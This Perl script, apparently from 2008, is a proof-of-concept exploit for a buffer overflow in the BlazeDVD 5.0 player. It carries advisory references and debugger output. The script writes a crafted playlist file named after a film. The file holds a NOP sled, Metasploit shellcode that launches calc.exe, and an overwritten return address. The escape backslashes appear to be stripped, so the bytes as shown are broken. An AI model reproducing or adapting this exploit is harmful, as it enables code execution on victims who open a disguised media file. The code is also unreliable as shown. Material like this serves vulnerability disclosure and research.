#!/usr/bin/perl
#
# Title: BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit (PoC)
#
# Summary: BlazeDVD is leading powerful and easy-to-use DVD player software.
# It can provide superior video and audio(Dolby) quality, together with other
# enhanced features:e.g. recording DVD,playback image and DV,bookmark and image
# capture.etc.Furthermore, besides DVD,Video CD,Audio CD, BlazeDVD supports DIVX,
# MPEG4, RM, QuickTime, WMV, WMV-HD, MacroMedia Flash and any other video file
# you have the codec installed for.The DVD player software can be extensive
# compatible with hardware,which is operated stable,smoothly under Windows98,
# 98SE, Me, 2000, XP, VISTA.
#
# Product web Page: http://www.blazevideo.com/dvd-player/index.htm
#
# Desc: BlazeDVD 5.0 suffers from buffer overflow vulnerability that can be
# exploited via crafted PLF playlist file localy and remotely. It fails to
# perform boundry checking of the user input file, allowing the EIP to be
# overwritten, thus, controling the next insctruction of the software. After
# succesfull exploitation, calc.exe will be executed. Failed attempts will
# result in Denial Of Service (DoS).
#
# WinDgb(output):
#
#  - (4d8.f80): Access violation - code c0000005 (first chance)
#  - First chance exceptions are reported before any exception handling.
#  - This exception may be expected and handled.
#  - eax=00000001 ebx=77f6c15c ecx=04bd0ba8 edx=00000042 esi=01beffc0 edi=6405565c
#  - eip=41414141 esp=0012f188 ebp=01befcf8 iopl=0         nv up ei pl nz ac pe nc
#  - cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
#  - 41414141 ??              ???
#
#
# Tested on Microsoft Windows XP SP2 (English)
#
# Vulnerability discovered by: Parvez Anwar and Greg Linares
#
# Refs:
#
# - http://secunia.com/advisories/23041/
# - http://www.frsirt.com/english/advisories/2006/4764
# - http://xforce.iss.net/xforce/xfdb/30567
# - http://osvdb.org/30770
# - http://www.securityfocus.com/bid/21337/
# - http://www.milw0rm.com/exploits/2880
#
# Exploit coded by Gjoko 'LiquidWorm' Krstic
#
# liquidworm@gmail.com
#
# http://www.zeroscience.org
#
# 08.08.2008
#

print "n|==================================================================|n";
print "|                                                                  |n";
print "|    BlazeDVD 5.0 PLF Playlist File Remote Buffer Overflow Exploit |n";
print "|              by LiquidWorm <liquidworm [at] gmail.com>           |n";
print "|                                                                  |n";
print "|==================================================================|nn";

$nop = "x90" x 96;


# win32_exec EXITFUNC=seh CMD=calc.exe Size=164 Encoder=PexFnstenvSub http://metasploit.com

$shellcode = "x29xc9x83xe9xddxd9xee".
	     "xd9x74x24xf4x5bx81x73".
	     "x13x7dxe6xe7x4ex83xeb".
	     "xfcxe2xf4x81x0exa3x4e".
	     "x7dxe6x6cx0bx41x6dx9b".
	     "x4bx05xe7x08xc5x32xfe".
	     "x6cx11x5dxe7x0cx07xf6".
	     "xd2x6cx4fx93xd7x27xd7".
	     "xd1x62x27x3ax7ax27x2d".
	     "x43x7cx24x0cxbax46xb2".
	     "xc3x4ax08x03x6cx11x59".
	     "xe7x0cx28xf6xeaxacxc5".
	     "x22xfaxe6xa5xf6xfax6c".
	     "x4fx96x6fxbbx6ax79x25".
	     "xd6x8ex19x6dxa7x7exf8".
	     "x26x9fx42xf6xa6xebxc5".
	     "x0dxfax4axc5x15xeex0c".
	     "x47xf6x66x57x4ex7dxe6".
	     "x6cx26x41xb9xd6xb8x1d".
	     "xb0x6exb6xfex26x9cx1e".
	     "x15x16x6dx4ax22x8ex7f".
	     "xb0xf7xe8xb0xb1x9ax85".
	     "x86x22x1exc8x82x36x18".
	     "xe6xe7x4e";


$ret = "x78x53xbex01";

$payload = $nop.$shellcode.$ret;

open(plf, ">./The_Dark_Knight.plf");

print plf "$payload";

print "n--> Playlist: The_Dark_Knight.plf succesfully created...Enjoy!nn";

print "n...t00t w00t!nan";


# August, 2008

# www.Syue.com [2008-08-10]